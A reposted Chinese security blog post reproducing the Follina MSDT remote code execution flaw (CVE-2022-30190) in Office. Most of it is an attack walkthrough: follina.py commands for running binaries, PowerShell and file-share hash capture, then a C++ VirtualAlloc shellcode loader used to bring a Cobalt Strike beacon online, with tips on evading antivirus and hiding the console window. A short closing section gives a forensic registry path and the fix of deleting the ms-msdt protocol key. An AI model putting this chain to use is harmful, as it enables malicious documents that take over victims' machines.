Windows支持诊断工具(MSDT)远程代码执行漏洞(CVE-2022-30190)分析复现/修复

admin 2022年6月1日10:07:25评论329 views字数 3419阅读11分23秒阅读模式

前言

Microsoft Windows Support Diagnostic Tool (MSDT) Remote Code Execution Vulnerability对应的cve编号为CVE-2022-30190,其能够在非管理员权限、禁用宏且在windows defender开启的情况下绕过防护,达到上线的效果。

当从Word等应用程序使用 URL 协议调用 MSDT 时存在远程执行代码漏洞,攻击者通过制作恶意的Office文档,诱导用户在受影响的系统上打开恶意文档后,在宏被禁用的情况下,仍可通过 ms-msdt URI执行任意PowerShell代码,当恶意文件保存为RTF格式时,无需受害者打开文件,即可通过资源管理器中的预览窗格在目标系统上执行任意代码。

微软报该漏洞后,红队蓝军对其进行复现

适用版本

在这里笔者只测试了如下版本,对于Office的 InsiderCurrent 和版本无法进行利用

Microsoft Office LTSC 专业增强版 2021

Office 2013

Office 2016

环境搭建

这里笔者使用Office Tool Plus进行office的安装(记得打一下广告费),官网如下

https://otp.landian.vip/zh-cn/
Windows支持诊断工具(MSDT)远程代码执行漏洞(CVE-2022-30190)分析复现/修复

github链接如下

https://github.com/YerongAI/Office-Tool/releases/tag/v8.3.10.7

这里我安装Microsoft Office LTSC 专业增强版 2021版本

Windows支持诊断工具(MSDT)远程代码执行漏洞(CVE-2022-30190)分析复现/修复

笔者下载的版本为2108

Windows支持诊断工具(MSDT)远程代码执行漏洞(CVE-2022-30190)分析复现/修复

漏洞复现

弹计算器

我们找到poc,链接如下

https://github.com/chvancooten/follina.py

我们可以看到作者给出了以下几种用法

Windows支持诊断工具(MSDT)远程代码执行漏洞(CVE-2022-30190)分析复现/修复

# Execute a local binary
python .follina.py -m binary -b windowssystem32calc.exe

Execute a binary from a file share (can be used to farm hashes 👀)
python .follina.py -m binary -b \localhostc$windowssystem32calc.exe

# Execute an arbitrary powershell command
python .follina.py -m command -c "Start-Process c:windowssystem32cmd.exe -WindowStyle hidden -ArgumentList '/c echo owned > c:userspublicowned.txt'"

# Run the web server on the default interface (all interfaces, 0.0.0.0), but tell the malicious document to retrieve it at http://1.2.3.4/exploit.html
python .follina.py -m binary -b windowssystem32calc.exe -u 1.2.3.4

# Only run the webserver on localhost, on port 8080 instead of 80
python .follina.py -m binary -b windowssystem32calc.exe -H 127.0.0.1 -P 8080

这里我们首先使用最后一种,弹一下计算器,使用如下payload生成一下

python follina.py -m binary -b windowssystem32calc.exe -H 0.0.0.0 -P 8080
Windows支持诊断工具(MSDT)远程代码执行漏洞(CVE-2022-30190)分析复现/修复

然后这里直接点击clickme.docx即可

Windows支持诊断工具(MSDT)远程代码执行漏洞(CVE-2022-30190)分析复现/修复

效果如下,这里会弹出一个程序兼容性疑难解答,这里不用管

Windows支持诊断工具(MSDT)远程代码执行漏洞(CVE-2022-30190)分析复现/修复

上线cs

我们首先尝试直接使用exe上线,首先cs生成一个不经过任何处理的马

Windows支持诊断工具(MSDT)远程代码执行漏洞(CVE-2022-30190)分析复现/修复

这里使用之前的payload进行尝试,把文件放到windowssystem32

python follina.py -m binary -b windowssystem32artifact.exe -H 0.0.0.0 -P 8080
Windows支持诊断工具(MSDT)远程代码执行漏洞(CVE-2022-30190)分析复现/修复

Windows支持诊断工具(MSDT)远程代码执行漏洞(CVE-2022-30190)分析复现/修复

还是点击clickme.docx,但是没有上线

Windows支持诊断工具(MSDT)远程代码执行漏洞(CVE-2022-30190)分析复现/修复

但是这里没有上线,这里笔者进行问题的排查,换一个也在system32下的mmc.exe,这里是可以成功打开的

Windows支持诊断工具(MSDT)远程代码执行漏洞(CVE-2022-30190)分析复现/修复

那么这个payload肯定是没有问题的,那么问题就出在我们上线cs的exe上,这里笔者尝试使用x86的payload、使用powershell加载都以失败告终,最后找到了解决方法,使用cs生成的shellcode自己通过VirtualAlloc申请内存并编译即可上线

Windows支持诊断工具(MSDT)远程代码执行漏洞(CVE-2022-30190)分析复现/修复

Windows支持诊断工具(MSDT)远程代码执行漏洞(CVE-2022-30190)分析复现/修复

然后编写代码实现将shellcode加载到内存空间,这里就用最简单的VirtualAlloc申请空间然后用指针指向申请的空间,这里shellcode加解密去绕AV师傅们可自行拓展,实现代码如下(shellcode填充到buf[]数组即可)

#include <iostream>
#include <windows.h>

/* length: 833 bytes */
unsigned char buf[] = "";


void shellcode()
{
 PVOID p = NULL;
 p = VirtualAlloc(NULLsizeof(buf), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
 if (p == NULL)
  printf("VirtualAlloc error : %dn", GetLastError());
 else
  printf("VirtualAlloc successfully , address : %xn", p);

 if (!memcpy(p, buf, sizeof(buf)))
  printf("Write shellcode failedn");
 else
  printf("Write shellcode successfullyn");

 ((void(*)())p)();

}


int main(int argc, char** argv)
{
    shellcode();
    getchar();

 return 0;
}

编译生成MyVirtualAlloc.exe

Windows支持诊断工具(MSDT)远程代码执行漏洞(CVE-2022-30190)分析复现/修复

然后使用exp进行攻击,这里笔者测试了使用远程加载还是不能上线

python follina.py -m binary -b F:C++MyVirtualAllocx64ReleaseMyVirtualAlloc.exe -H 0.0.0.0 -P 8080
Windows支持诊断工具(MSDT)远程代码执行漏洞(CVE-2022-30190)分析复现/修复

Windows支持诊断工具(MSDT)远程代码执行漏洞(CVE-2022-30190)分析复现/修复

使用-c命令直接启动exe上线成功

python follina.py -m command -c "Start-Process F:C++MyVirtualAllocx64ReleaseMyVirtualAlloc.exe"
Windows支持诊断工具(MSDT)远程代码执行漏洞(CVE-2022-30190)分析复现/修复

Windows支持诊断工具(MSDT)远程代码执行漏洞(CVE-2022-30190)分析复现/修复

这里为了更加隐蔽直接去掉黑框

Windows支持诊断工具(MSDT)远程代码执行漏洞(CVE-2022-30190)分析复现/修复

改变入口点为mainCRTStartup

Windows支持诊断工具(MSDT)远程代码执行漏洞(CVE-2022-30190)分析复现/修复

点击clickme.docx上线成功

Windows支持诊断工具(MSDT)远程代码执行漏洞(CVE-2022-30190)分析复现/修复

利用排查

若利用过漏洞则在以下路径会留有注册表

HKEY_USERS$USER_SIDSOFTWAREMicrosoftOffice$OFFICE_VERSIONCommonInternetServer Cache
Windows支持诊断工具(MSDT)远程代码执行漏洞(CVE-2022-30190)分析复现/修复

修复

禁用MSDT URL协议

1、以管理员身份运行命令提示符

2、备份注册表项后,执行命令:reg export HKEY_CLASSES_ROOTms-msdt filename

3、再执行命令:reg delete HKEY_CLASSES_ROOTms-msdt /f

若需要撤销禁用则用管理员身份打开cmd执行:reg import filename


加下方wx,拉你一起进群学习:

Windows支持诊断工具(MSDT)远程代码执行漏洞(CVE-2022-30190)分析复现/修复

往期推荐

APC机制初探

hw面试题解答版(2)

利用NetBIOS欺骗攻击盗取hash

绕过360添加计划任务

从外围打点到内网渗透拿下域控

父进程隐藏

ATT&CK矩阵的攻与防

巧用cpl文件维权和免杀


Windows支持诊断工具(MSDT)远程代码执行漏洞(CVE-2022-30190)分析复现/修复


原文始发于微信公众号(红队蓝军):Windows支持诊断工具(MSDT)远程代码执行漏洞(CVE-2022-30190)分析复现/修复

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年6月1日10:07:25
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Windows支持诊断工具(MSDT)远程代码执行漏洞(CVE-2022-30190)分析复现/修复http://cn-sec.com/archives/1073919.html

发表评论

匿名网友 填写信息